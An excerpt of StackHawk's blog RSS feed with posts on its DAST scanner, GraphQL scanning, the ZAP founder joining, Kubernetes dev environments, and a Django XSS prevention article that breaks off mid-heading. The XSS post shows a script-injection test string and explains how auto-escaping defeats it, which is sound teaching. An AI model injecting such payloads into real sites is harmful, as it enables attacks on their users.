&lt;/p&gt;&lt;p&gt;With these new features, users get faster, more accurate scans of all APIs. The scanner now understands what technology it is scanning and can dynamically adjust its testing approach. You can have confidence that the scanner is running the most relevant tests, finding critical vulnerabilities, and providing accurate results.&lt;/p&gt;&lt;h3&gt;Give it a Whirl&lt;/h3&gt;&lt;p&gt;To give these new API testing capabilities a go, make sure to &lt;a href=&quot;https://auth.stackhawk.com/&quot;&gt;sign up&lt;/a&gt; for a free StackHawk account. If you don’t have an API to use for testing, check out our intentionally vulnerable &lt;a href=&quot;https://github.com/kaakaww/vuln_node_express&quot;&gt;Node Express app&lt;/a&gt; or &lt;a href=&quot;https://github.com/kaakaww/vuln-graphql-api&quot;&gt;GraphQL API&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;If you run into problems once you get scanning, check out our webinar on &lt;a href=&quot;https://www.youtube.com/watch?v=N1n72SfJDvs&amp;list=PLz_NN8o2uh8CHNVKbzJt4TrNxl8RBGTLi&amp;index=4&quot;&gt;API security testing with&lt;/a&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=N1n72SfJDvs&amp;list=PLz_NN8o2uh8CHNVKbzJt4TrNxl8RBGTLi&amp;index=4&quot;&gt;t&lt;/a&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=N1n72SfJDvs&amp;list=PLz_NN8o2uh8CHNVKbzJt4TrNxl8RBGTLi&amp;index=4&quot;&gt;he Node Express app&lt;/a&gt;, or give our &lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;customer support team a shout&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Announcing GraphQL Application Security Testing]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/graphql-application-security-testing</guid><category><![CDATA[GraphQL Security]]></category><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;p&gt;In 5 short years, &lt;a href=&quot;https://graphql.org/&quot;&gt;GraphQL&lt;/a&gt; has solidified its footprint as the API backing of many applications, and it shows no sign of slowing. More and more companies are choosing GraphQL for its simplicity, ability to fetch the right amount of data, and the way it can traverse a graph of relational data.&lt;/p&gt;&lt;p&gt;Securing GraphQL applications, however, has been a challenge. Sure, there are common best practices and rules in place. But reliance on training or the rudimentary automated checks that currently exist only gets you so far. Eventually security bugs will be deployed and your app will be at risk. &lt;/p&gt;&lt;p&gt;…until now. &lt;/p&gt;&lt;h3&gt;GraphQL Security from StackHawk&lt;/h3&gt;&lt;p&gt;We’re excited to announce that HawkScan, StackHawk’s scanning engine, now supports GraphQL applications. StackHawk is the only product on the market that can scan a running GraphQL application, simulating an attack by fuzzing the various query parameters, and surfacing potential security bugs to engineering teams. &lt;/p&gt;&lt;p&gt;With StackHawk, teams using GraphQL for their API layer can now confidently catch potential vulnerabilities before security bugs hit production. With CI/CD automation, you can ensure that potential bugs are caught early in the development lifecycle and fixed by the developers who have the context and expertise of the code base they just merged to. &lt;/p&gt;&lt;h3&gt;How it Works&lt;/h3&gt;&lt;p&gt;StackHawk is a dynamic application security testing tool. That means it runs security testing against your running application, whether that be on your local machine, in CI environments, or against your application in production. &lt;/p&gt;&lt;p&gt;GraphQL testing is done by exposing the introspection endpoint to the scanner via the StackHawk.yml file. The scanner runs introspection and identifies all of the potential query and mutation operations of the endpoint, and then gets to work finding potential security bugs. As a dynamic security test, the scanner sends requests to all endpoints, effectively fuzzing the whole GraphQL tree, simulating the ways the application could be attacked. The scanner logs all tested endpoints and any security bugs found, with the associated request and response payload. From there, developers can triage bugs, fixing high priority issues and using Findings Management to quiet noise for accepted risk or assigned items. Then, GraphQL scanning can be automated in the pipeline to ensure that no build hits production with unaccepted security risk. &lt;/p&gt;&lt;h3&gt;Getting Started&lt;/h3&gt;&lt;p&gt;Getting started with GraphQL security in StackHawk is incredibly easy, simply requiring the addition of the schema path to the stackhawk.yml file. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Visit &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/graphql-configuration.html&quot;&gt;our docs&lt;/a&gt; for more information on configuration for GraphQL, as well as other configuration options such as authenticated scanning. As always, our team is available to assist as you begin using StackHawk. Reach out to &lt;a href=&quot;mailto:support@stackhawk.com&quot;&gt;support@stackhawk.com&lt;/a&gt; and we will be happy to help.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Developer-Centric Application Security Testing from StackHawk Now in GA]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/general-availability-launch</guid><category><![CDATA[StackHawk News]]></category><category><![CDATA[Integrations]]></category><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;Today, I am incredibly proud to announce StackHawk’s launch into general availability. Over the past 14 months, our team has worked tirelessly to bring the world a better application security product. I could not be more proud of the product that we are putting into the world and I am excited for more customers to test it out. &lt;/p&gt;&lt;p&gt;My co-founders and I decided to build StackHawk because of the gaping hole in developer-centric application security tooling. Application security is only becoming increasingly important, but the majority of the tools out there cannot keep up with the pace of modern software development. StackHawk is different. We make it easy for developers to find and fix application security bugs (truly!), and with pipeline automation, you can ensure that you catch security bugs before they hit production.&lt;/p&gt;&lt;h3&gt;StackHawk Today&lt;/h3&gt;&lt;p&gt;While we have lots of features we are excited to build, as we launch into GA, StackHawk is a fully fledged dynamic application security testing tool. As someone who has spent her career building software for DevOps teams, one of my happiest moments was when one of our early access customers told us that we needed to take the Beta tag off of our web app because of the maturity and polish that already existed. &lt;/p&gt;&lt;p&gt;If you aren’t familiar with StackHawk, here is a quick rundown of the product:&lt;/p&gt;&lt;h4&gt;Best in Class Scanner (…and Commitment to Open Source)&lt;/h4&gt;&lt;p&gt;StackHawk is built on top of the open source &lt;a href=&quot;https://www.zaproxy.org/&quot;&gt;ZAP&lt;/a&gt; project, the world’s most widely used dynamic application security testing tool. With ZAP as our scanning engine, we inherit an incredible open source community that is dedicated to better security testing. Our goal: ensure that automated security testing was accessible throughout engineering organizations. &lt;/p&gt;&lt;p&gt;In addition to leveraging the scanning capabilities of ZAP, we are committed to growing the open source community. We recently &lt;a href=&quot;https://www.stackhawk.com/blog/welcoming-zap-founder-simon-bennetts/&quot;&gt;hired Simon Bennetts&lt;/a&gt;, founder of the ZAP project, onto the team. He will continue to work on the open source project and we are excited about the opportunity to contribute back in many ways.&lt;/p&gt;&lt;h4&gt;Modern Technologies and Applications&lt;/h4&gt;&lt;p&gt;Application security tooling is largely stuck in a previous decade, with the exception of some modern SCA solutions. The majority of tools out there assume scans of production environments and infrequent deploys. Software engineering has made incredible advances, but &lt;a href=&quot;https://www.stackhawk.com/blog/application-security-is-broken/&quot;&gt;application security has not kept up&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Software today is built with a microservices architecture, is deployed frequently with CI/CD, and leverages new technologies such as GraphQL and single page applications. StackHawk is built for the modern software teams leveraging the latest technologies, and can support legacy technologies as well.&lt;/p&gt;&lt;h4&gt;Built for Developers – Enabling the Shift Left&lt;/h4&gt;&lt;p&gt;Everyone agrees that application security needs to shift left. Most security vendors put “built for DevOps” on their trade show booths and called it good.&lt;/p&gt;&lt;p&gt;We built a product for developers.&lt;/p&gt;&lt;p&gt;We manage config as code via &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/&quot;&gt;yaml&lt;/a&gt;. Our scanner runs anywhere with a &lt;a href=&quot;https://docs.stackhawk.com/hawkscan/running-hawkscan.html&quot;&gt;single Docker command&lt;/a&gt;. Our user experience focus starts at the command line. The proof is in the product and we love watching engineering teams take ownership of their own application security.&lt;/p&gt;&lt;h4&gt;Integrated with Engineering Stack&lt;/h4&gt;&lt;p&gt;The rise of best-in-breed developer tooling has created significant efficiencies for software engineers, but it also has introduced increased complexity. You should continue to live in your core engineering tooling and it is our responsibility to integrate well with those tools. When you do have findings that you need to deal with, we’ll ensure you have the best experience possible.&lt;/p&gt;&lt;p&gt;We have invested heavily in our current integrations, not only with all major CICD systems, but also workflow tools like Slack and JIRA, and we will continue to do so moving forward.&lt;/p&gt;&lt;h3&gt;Where We Are Headed&lt;/h3&gt;&lt;p&gt;We are not only excited about what we are officially releasing into the world today, but we are also excited about what is ahead. We have had tons of great feedback from our beta customers that is informing our roadmap, and we have some fun feature ideas up our sleeve as well.&lt;/p&gt;&lt;p&gt;While we aren’t publishing our roadmap, you’ll see a strong theme of developer love and integration with other dev tools. We want to make it as simple as possible for developers to find and fix their security bugs before they hit production and get back to building features.&lt;/p&gt;&lt;p&gt;For the enterprise, you’ll see features that help your security team scale by empowering developers, and building a bridge between the security team and engineering org. Key product principles around transparency, observability and collaboration will support this evolution in your organization. &lt;/p&gt;&lt;h3&gt;Thank Yous&lt;/h3&gt;&lt;p&gt;Finally, I’d like to say a few quick thank yous. First, a *huge* thank you to our team here at StackHawk. I can truly say that I’ve never worked with a stronger (and funnier) group. I’m constantly amazed at the quality of your work and the speed with which you deliver. And best of all, we have a lot of fun working together!&lt;/p&gt;&lt;p&gt;I’d also like to thank our investors (&lt;a href=&quot;https://foundrygroup.com/&quot;&gt;Foundry Group&lt;/a&gt;, &lt;a href=&quot;https://www.costanoavc.com/&quot;&gt;Costanoa Ventures&lt;/a&gt;, &lt;a href=&quot;https://www.flybridge.com/&quot;&gt;Flybridge Capital&lt;/a&gt;, and &lt;a href=&quot;https://www.matchstickventures.com/&quot;&gt;Matchstick Ventures&lt;/a&gt;) and advisors. Your regular counsel, suggestions, and assistance are invaluable to us and we are deeply appreciative.&lt;/p&gt;&lt;p&gt;And saving the best for last, thank you to our early access customers. For those of you who jumped on board to test a beta product, we are so grateful for your valuable feedback that you have given all along the way. Thank you! We’re excited to continue serving you as StackHawk customers!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Announcing My Decision to Join StackHawk]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/zap-founder-decides-to-join-stackhawk</guid><category><![CDATA[ZAP]]></category><dc:creator><![CDATA[Simon Bennetts]]></dc:creator><content:encoded>&lt;p&gt;It quickly stood out to me that I knew less about security than I would like to, and that these vulnerabilities would be easy for other developers to introduce as well. What I needed was a security testing tool that would help developers find vulnerabilities before they were live in production. Being keen to get involved in open source, I began looking for community focused web security tools that I could contribute to, but found nothing. Enter the Zed Attack Proxy (ZAP).&lt;/p&gt;&lt;h3&gt;ZAP Application Security Testing is Born&lt;/h3&gt;&lt;p&gt;Finding nothing, I decided to fork an old abandoned tool called Paros Proxy, and Zed Attack Proxy (ZAP) was born. ZAP is a Dynamic Application Security Testing (DAST) tool, meaning that it runs security tests against a running version of your application. It tests your application for security vulnerabilities such as SQL Injection, Cross Site Scripting, Cross Site Request Forgery, and many more.&lt;/p&gt;&lt;p&gt;After continued interest in and adoption of the new ZAP scanner, I contributed it to the OWASP Foundation on October 5, 2010. ZAP is currently one of the flagship projects of OWASP.&lt;/p&gt;&lt;h3&gt;A Decade of ZAP&lt;/h3&gt;&lt;p&gt;After speaking at OWASP events in Dublin and the US, ZAP began to take off. Initially I was very nervous talking to security professionals as I was still very new to security. However it became clear that there was a real need for an actively maintained security tool from both security folk and developers. &lt;/p&gt;&lt;p&gt;I always wanted ZAP to become a community project, so I encouraged new contributors as much as I could. It wasn’t too long before both developers and security professionals started contributing and started countless features were added. I have loved watching and being a part of the growth of the tool and the surrounding community. ZAP is now the &lt;a href=&quot;https://www.zaproxy.org/blog/2020-04-02-is-zap-the-worlds-most-popular-web-scanner/&quot;&gt;most frequently used&lt;/a&gt; application security testing tool in the world, and there is so much more to come!&lt;/p&gt;&lt;h3&gt;Looking to the Future&lt;/h3&gt;&lt;p&gt;Application security is only becoming more important. Over the decade that ZAP has been around, our business and personal lives have rapidly shifted to online applications. With our lives and businesses online and companies shipping code faster than ever before, it is critical that we as an industry continue to focus on security.&lt;/p&gt;&lt;p&gt;In order to ensure that developers can deliver secure applications, there are a few items I continue to be focused on: Usability and Automation. This guides much of my work and the focus of the ZAP core team.&lt;/p&gt;&lt;h3&gt;Usability&lt;/h3&gt;&lt;p&gt;It is widely accepted that security needs to shift left, entering the development workflow earlier. I have believed this from the beginning. In fact, I even initially gave ZAP the tagline “The security tool for developers.” At this point, the ZAP core team believes that more security professionals use ZAP than developers, but we are constantly focused on ensuring that ZAP is accessible for finding security bugs whether you are a pentester, security engineer, or software developer.&lt;/p&gt;&lt;p&gt;Moving forward, we will continue to focus on features that ensure that teams across the world can test for security vulnerabilities before and after an application is delivered to production.&lt;/p&gt;&lt;h3&gt;Automation&lt;/h3&gt;&lt;p&gt;One key feature that makes ZAP accessible to developers, and has been central to it’s widespread adoption, is it’s features around automation. With an incredibly powerful API, Dockerized images, and packaged scans, ZAP is easy to integrate into the CI/CD pipeline. One example of this is our recent announcement as the first DAST tool available on &lt;a href=&quot;https://github.com/marketplace?type=actions&amp;query=zaproxy&quot;&gt;Github Actions&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;With this automation in the CI/CD pipeline, application security shifts from another manual step that a team must remember to complete to an automated part of the build process. Teams that rely on ZAP automation can rest assured that security checks are happening with every build in their continuous integration pipeline.&lt;/p&gt;&lt;h3&gt;Joining StackHawk + Commitment to Open Source Community&lt;/h3&gt;&lt;p&gt;In light of this history and where I see ZAP headed, I’m excited to announce that I have joined the team at StackHawk as Distinguished Engineer, Assessment Technologies. I’m joining StackHawk because I share their vision for developer focused security.&lt;/p&gt;&lt;p&gt;StackHawk is built on ZAP and I have been impressed with their commitment to contribute back to the open source project. In my new role, I will be able to focus the majority of my time on the development of the ZAP project and the surrounding community. I’m excited to continue my work on the project I love, while also being a part of StackHawk building a world leading application security service on top of it.&lt;/p&gt;&lt;h3&gt;Why Commercialization is Great for ZAP&lt;/h3&gt;&lt;p&gt;ZAP is what it is today because of the community around it. This is the beauty of open source – the tooling is continuously improving as contributors commit to the project. The core contributors of ZAP have always encouraged commercial use of ZAP and have enjoyed seeing it adopted by large companies like GitLab. We will continue to support use of ZAP as part of commercial offerings.&lt;/p&gt;&lt;p&gt;There is a long history of open source projects growing as commercialization increases. With commercialization comes more exposure and awareness, and with this comes more individuals contributing back to the core project. &lt;/p&gt;&lt;p&gt;I was excited to hear about StackHawk’s use of ZAP as the underlying scanner technology and was even more excited when I learned about their commitment to seeing the open source project grow. I am confident that StackHawk’s offering, as well as other commercialization around ZAP, will improve the open source product.&lt;/p&gt;&lt;h3&gt;Thank Yous: Mozilla, Core Contributors, and More&lt;/h3&gt;&lt;p&gt;Last but not least, I would like to thank &lt;a href=&quot;https://www.mozilla.org/en-US/&quot;&gt;Mozilla&lt;/a&gt; for their support of my work on ZAP over the last 8 years. ZAP would not be in the great position it is today without their help and support. It really has been an honour and a privilege to work for such a great company.&lt;/p&gt;&lt;p&gt;I would also like to thank the other core contributors to ZAP. When I forked the project over 10 years ago, I could have never imagined what it would grow to be today. Working with the other core contributors has been a tremendous joy. I have learned so much and it has been a privilege to be building ZAP together. I look forward to many more years of working together.&lt;/p&gt;&lt;p&gt;Lastly, I would like to thank the ZAP and OWASP communities. I am constantly amazed at how people are using ZAP and the contributions that they make. I love what ZAP has become, and that is exclusively a result of the great community surrounding it.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How to Develop Microservices in Kubernetes]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/integrated-microservices-in-kubernetes</guid><category><![CDATA[Tooling Guides]]></category><category><![CDATA[Integrations]]></category><dc:creator><![CDATA[April Conger]]></dc:creator><content:encoded>&lt;p&gt;At StackHawk we have always been fans of containers. From day one we made the decision to ship &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;HawkScan&lt;/a&gt; (our application security scanning engine) as a container. We also bet on containers for our cloud platform, where we run microservices in Kubernetes to handle APIs, authentication, notifications, and all the magic that happens behind the scenes to make HawkScan so powerful and easy to use.&lt;/p&gt;&lt;p&gt;This is the story of how we have approached the challenges of developing a rapidly expanding set of microservices, and some of the tools and techniques we have used. Unfortunately our process is not something that we can package up and share to the world, because it is bespoke for our environment. But we wanted to share some of the lessons we have learned.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;The Problem&lt;/h3&gt;&lt;p&gt;&lt;i&gt;We like developing on our laptops.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;When you’re building software, it’s important to be able to iterate quickly. Code, build, test, repeat. For HawkScan and our first handful of microservices, it was simple enough to do that on our laptops, and containerize them as a final step. But as the number of microservices grew, tests of a single microservice became meaningless without the others.&lt;/p&gt;&lt;p&gt;We already had a Kubernetes integration environment in AWS, and a full CI/CD pipeline to push freshly built microservices into it on code commit. But that pipeline added minutes to the iteration cycle, and those minutes add up fast.&lt;/p&gt;&lt;p&gt;We needed a way to keep iterating quickly. On our laptops. Like we’re used to.&lt;/p&gt;&lt;h3&gt;The Solution (v1)&lt;/h3&gt;&lt;p&gt;&lt;i&gt;It’s Docker Compose, with each project contributing its own snippet.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;When you think of running compositions of containers on your laptop, &lt;a href=&quot;https://docs.docker.com/compose/&quot;&gt;Docker Compose&lt;/a&gt; comes immediately to mind. But did you know that you can &lt;a href=&quot;https://docs.docker.com/compose/extends/#multiple-compose-files&quot;&gt;combine multiple compose files&lt;/a&gt; to create a larger composition? We thought this would be a great way to build out the entire microservice environment on each developer’s laptop.&lt;/p&gt;&lt;p&gt;We added a requirement that each of our microservice projects should include its own service definition in a compose file, and publish it to our artifact repository. Each project would also include a list of all of the other StackHawk microservices it depended on, which would be used to pull down all of the other compose files a developer would need to construct the whole integration environment locally for a given project.&lt;/p&gt;&lt;p&gt;A service file for one such microservice, &lt;i&gt;service1&lt;/i&gt;, might look like this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This compose file says that service1 requires its own Redis instance, its own Postgres instance, and three other StackHawk platform microservices, service2, service3, and service4.&lt;/p&gt;&lt;p&gt;The script to build service1’s microservice integration environment would know to download the service files for service2, service3, and service4. It would produce a command like this:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Notice that the project in question, service1, is not included in the docker-compose command above. That’s because when a developer is working on the service1 project, we want to leave it to her to run it however she likes in order to iterate rapidly.&lt;/p&gt;&lt;p&gt;All the other microservices in the composition come up as containers and listen on the localhost address, and each with their own dependencies, such as Redis and Postgres. So in a given project, you run a simple script to launch all of the dependent microservices as containers, leaving you to work on your service running directly on the laptop.&lt;/p&gt;&lt;p&gt;For example, if you are working on your React front-end web app, all of the back-end microservices will come up in Docker Compose, but not the front end. That means you can quickly iterate on your project – code, build, test, repeat – with your own personal integration environment.&lt;/p&gt;&lt;p&gt;It was awesome.&lt;/p&gt;&lt;h3&gt;The Next Problem&lt;/h3&gt;&lt;p&gt;&lt;i&gt;The platform got too big.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Well that didn’t scale! Within months, we had built up enough microservices that we were melting laptops. Even our relatively powerful machines had insufficient memory to handle all of that container sprawl. Developers were left with only scraps for their voracious IDEs.&lt;/p&gt;&lt;h3&gt;The Options&lt;/h3&gt;&lt;p&gt;&lt;i&gt;Naturally I appealed to Corporate for new laptops. That request is pending because I forgot my cover sheet.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;We knew the real answer was to move these developer workloads to the Kube. We already had a sandbox Kubernetes instance for experimentation and hackery. The only question was how to dynamically and safely build up environments on that cluster for each developer.&lt;/p&gt;&lt;p&gt;The Kubernetes blog has a great article called &lt;a href=&quot;https://kubernetes.io/blog/2018/05/01/developing-on-kubernetes/&quot;&gt;Developing on Kubernetes&lt;/a&gt; that describes many of the best available tools to help developers integrate Kubernetes into their workflow. There are lots of cool options, but none of them quite matched our situation, and all of them would require developers to rethink the way they work.&lt;/p&gt;&lt;h3&gt;The Solution (v2)&lt;/h3&gt;&lt;p&gt;&lt;i&gt;Same as before, but enKubernated&lt;/i&gt;&lt;/p&gt;&lt;p&gt;We really loved our Docker Compose solution. Why couldn’t we just do that, but in Kubernetes? Then we found &lt;a href=&quot;https://github.com/kubernetes/kompose&quot;&gt;Kompose&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Kompose converts Docker Compose files into Kubernetes manifest files. This allowed us to leverage all the work we had already put into cultivating our Docker Compose service files for each project. And with &lt;a href=&quot;https://github.com/mikefarah/yq&quot;&gt;yq&lt;/a&gt; (the &lt;a href=&quot;https://github.com/stedolan/jq&quot;&gt;jq&lt;/a&gt; or &lt;a href=&quot;https://www.gnu.org/software/sed/&quot;&gt;sed&lt;/a&gt; of YAML files), we could easily manipulate those manifests to make any necessary final tweaks.&lt;/p&gt;&lt;p&gt;With Kompose and yq, we had the flexibility to generate and modify manifests to produce ideal development environments for each engineer. These environments performed better, and left all of the resources on our laptops for hungry IDE and compiler operations.&lt;/p&gt;&lt;h3&gt;Pulling it Together&lt;/h3&gt;&lt;p&gt;&lt;i&gt;Welcome to the DevKube&lt;/i&gt;&lt;/p&gt;&lt;p&gt;We built a fair sized shell script to manage the process of downloading Docker Compose files, converting them to manifests, and deploying them to Kubernetes.&lt;/p&gt;&lt;p&gt;We call our script devkube.sh, and it allows developers to easily:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Check for prerequisites, such as kubectl, Kompose and yq.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Create a namespace for each user based on their username, for isolation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Download compose files for each microservice and convert them to manifests with Kompose and yq.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Deploy DevKubes and tear them down.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Update running DevKubes with the latest versions of microservices.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Discover and proxy service ports so they are reachable on developer laptops at the localhost address.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Backup DevKube databases to S3, and restore them on startup, to maintain state between DevKube sessions.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;It took some refinement to get it working just right, but now it’s reliable and fast, and it brings developers closer to the platform they are targeting. They get more exposure to the tools and details of Kubernetes. And since we still maintain the compose files to run integration tests locally with Docker Compose, it’s still an option to do so.&lt;/p&gt;&lt;h3&gt;The Point&lt;/h3&gt;&lt;p&gt;&lt;i&gt;It’s great to iterate&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Iterating from local development to Docker Compose to Kubernetes has allowed us to efficiently move our development environment forward to match our needs over time. Each incremental step forward has delivered significant improvements in development cycle time and reductions in developer frustration.&lt;/p&gt;&lt;p&gt;As you refine your development process around microservices, think about ways you can build on the great tools and techniques you have already created. Give yourself some time to experiment with a couple of approaches. Don’t worry if you can’t find one general-purpose one-size-fits-all system that is perfect for your shop.&lt;/p&gt;&lt;p&gt;Maybe you can leverage your existing sets of manifest files or Helm charts. Perhaps you can make use of your continuous deployment infrastructure such as Spinnaker or ArgoCD to help produce developer environments. If you have time and resources, you could use Kubernetes libraries for your favorite programming language to build a developer CLI to manage their own environments.&lt;/p&gt;&lt;p&gt;Building your development environment for sprawling microservices will be an ongoing effort. However you approach it, you will find that the time you invest in continuously improving your processes pays off in developer focus and productivity.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Django XSS: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/django-xss-examples-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Python has become one of the most popular programming languages. One reason why programmers love Python is that they can use it for many use-cases. Among all these use-cases is web development. Django is a free and open-source web development framework that has gained a lot of interest.&lt;/p&gt;&lt;p&gt;When building web applications, security is crucial. Web applications have become a common target for malicious actors, and one of the most common attacks is cross-site scripting (XSS). In this post, let’s look at what XSS is and how XSS attacks work. We’ll then go through what security Django provides and how we can improve it.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;An &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;XSS attack&lt;/a&gt; is a technique where the attacker injects malicious client-side scripts into the web application&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;What Is XSS?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;XSS is a vulnerability in web applications that allows the execution of illegitimate client-side scripts. And from an attacker’s perspective, an &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;XSS attack&lt;/a&gt; is a technique where the attacker injects malicious client-side scripts into the web application. When the user requests the affected page, the malicious script is executed. Malicious actors use XSS for various purposes, including these common occurrences:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Stealing of sensitive information&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://us.norton.com/internetsecurity-id-theft-what-is-identity-theft.html&quot;&gt;Identity theft&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.netsparker.com/blog/web-security/remote-code-evaluation-execution/&quot;&gt;Remote code execution&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Django Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Unlike most web development frameworks, the developers of the &lt;a href=&quot;https://www.djangoproject.com/&quot;&gt;Django framework&lt;/a&gt; have considered the security aspects. As a result, Django comes with built-in security features against XSS attacks. &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;XSS attacks&lt;/a&gt; happen through injections—injection of scripts that contain HTML tags.&lt;/p&gt;&lt;p&gt;For example, let’s say that a web application takes a username as input and then greets the user using their name. If the input to a field in the web application is &lt;i&gt;&lt;b&gt;Tony&lt;/b&gt;&lt;/i&gt;, then the response sent to the user would be:&lt;/p&gt;&lt;p&gt;&lt;i&gt;Hello, Tony!&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Basically, the application is using the input and adding it to the pre-decided text. Once the application builds this result, it sends the response to the user’s browser where the response is rendered.&lt;/p&gt;&lt;p&gt;The above example might seem harmless. But let’s see how this process could be dangerous. The first rule of web application security is never to trust user input. So, what if instead of giving the username as input, a malicious actor gave a malicious input? If the input was &lt;i&gt;&lt;b&gt;&amp;lt;script&amp;gt;alert(‘XSS’);&amp;lt;/script&amp;gt;;&lt;/b&gt;&lt;/i&gt;&lt;i&gt;,&lt;/i&gt; the response sent to user would be:&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;i&gt;Hello,&lt;/i&gt;&lt;/b&gt; &lt;b&gt;&lt;i&gt;&amp;lt;script&amp;gt;alert(‘XSS’);&amp;lt;/script&amp;gt;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;And this code when rendered would display an alert with the text “XSS”. But this injection wouldn’t work in Django, because Django has an &lt;a href=&quot;https://docs.djangoproject.com/en/3.1/ref/templates/language/#id2:~:text=Automatic%20HTML%20escaping%C2%B6&quot;&gt;automatic HTML escaping&lt;/a&gt; feature. This feature converts certain HTML characters into their HTML code as follows:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;&amp;lt;&lt;/b&gt; is converted to &lt;b&gt;&amp;lt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;&amp;gt;&lt;/b&gt; is converted to &lt;b&gt;&amp;gt;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;‘&lt;/b&gt; (single quote) is converted to &lt;b&gt;&amp;#39;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;“&lt;/b&gt; (double quote) is converted to &lt;b&gt;&amp;quot;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;&amp;amp;&lt;/b&gt; is converted to &lt;b&gt;&amp;amp;&lt;/b&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;So, when the above malicious input is given, Django converts the input to &lt;i&gt;&lt;b&gt;&amp;lt;&lt;/b&gt;&lt;/i&gt;script&lt;i&gt;&lt;b&gt;&amp;gt;&lt;/b&gt;&lt;/i&gt;alert(&lt;i&gt;&lt;b&gt;‘&lt;/b&gt;&lt;/i&gt;XSS&lt;i&gt;&lt;b&gt;‘&lt;/b&gt;&lt;/i&gt;);&lt;i&gt;&lt;b&gt;&amp;lt;&lt;/b&gt;&lt;/i&gt;/script&lt;i&gt;&lt;b&gt;&amp;gt;&lt;/b&gt;&lt;/i&gt;&lt;i&gt;.&lt;/i&gt; And when this is rendered on the browser, it doesn’t execute because it’s not a script anymore. But is this enough to prevent an XSS attack? Of course not.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Django XSS Examples&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Django sure provides a layer of security by escaping HTML characters. But malicious actors would already know that. Attackers are getting more creative day by day and come up with ways to get over default security features. So, let’s look at some examples of how XSS attacks can work in Django.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;When you give input, Django forcefully encodes it and then escapes dangerous characters.&lt;/p&gt;&lt;/blockquote&gt;&lt;h4&gt;&lt;b&gt;Base64 